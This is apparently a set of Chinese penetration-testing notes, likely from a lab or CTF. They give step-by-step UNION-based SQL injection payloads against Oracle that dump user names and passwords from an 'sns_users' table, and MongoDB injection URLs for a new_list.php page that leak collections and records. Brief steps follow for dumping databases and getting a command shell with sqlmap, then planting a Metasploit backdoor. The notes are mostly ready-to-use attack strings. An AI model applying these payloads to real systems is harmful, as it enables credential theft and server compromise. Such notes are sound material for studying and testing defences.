1.oracle
首先
然后
加单引号显位
发现1,2都可以进行注入
#Oracle 参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
测回显:and 1=2 union select '1','2' from dual
爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual 模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
2.mongdb
输入id值就可以的到,但是主要它有单引号,我就这么写的话
单引号会包在外面,就会变成字符串,无法执行注入
所以我们要这么输入,来抵消它的单引号
#Mongodb 看代码 参考:https://www.runoob.com/mongodb/mongodb-query.html
f测回显:/new_list.php?id=1'}); return ({title:1,content:'
2 爆库: /new_list.php?id=1'}); return ({title:tojson(db),content:'1
爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1 db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。 db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第 一条数据
倒数第一行可以查到0,1,2,就是获取它的表中的数据
查到的表
sqlmap
记得去加引号,防止它加空格
-u 是指定默认的网站,查看是否有注入点,看是什么注入类型
当有注入点,就会出现这个界面
查看数据库权限
如果是true,说明有机会读写文件
--dbs,可以查看说要数据库
--current db查看当前数据库
-tables -d查看当前数据库的表
查看列名
获取数据
记得清除缓存
对应登录页面的sql注入,先抓包,然后放到txt的文件中,然后用sqlmap去跑,
ver开启交互式
ipconfig就可以查看按个服务器状态栏
将自己的w.txt放到1111.txt
msf
先生成后门
然后写入下载文件
就i可以在msf成功上线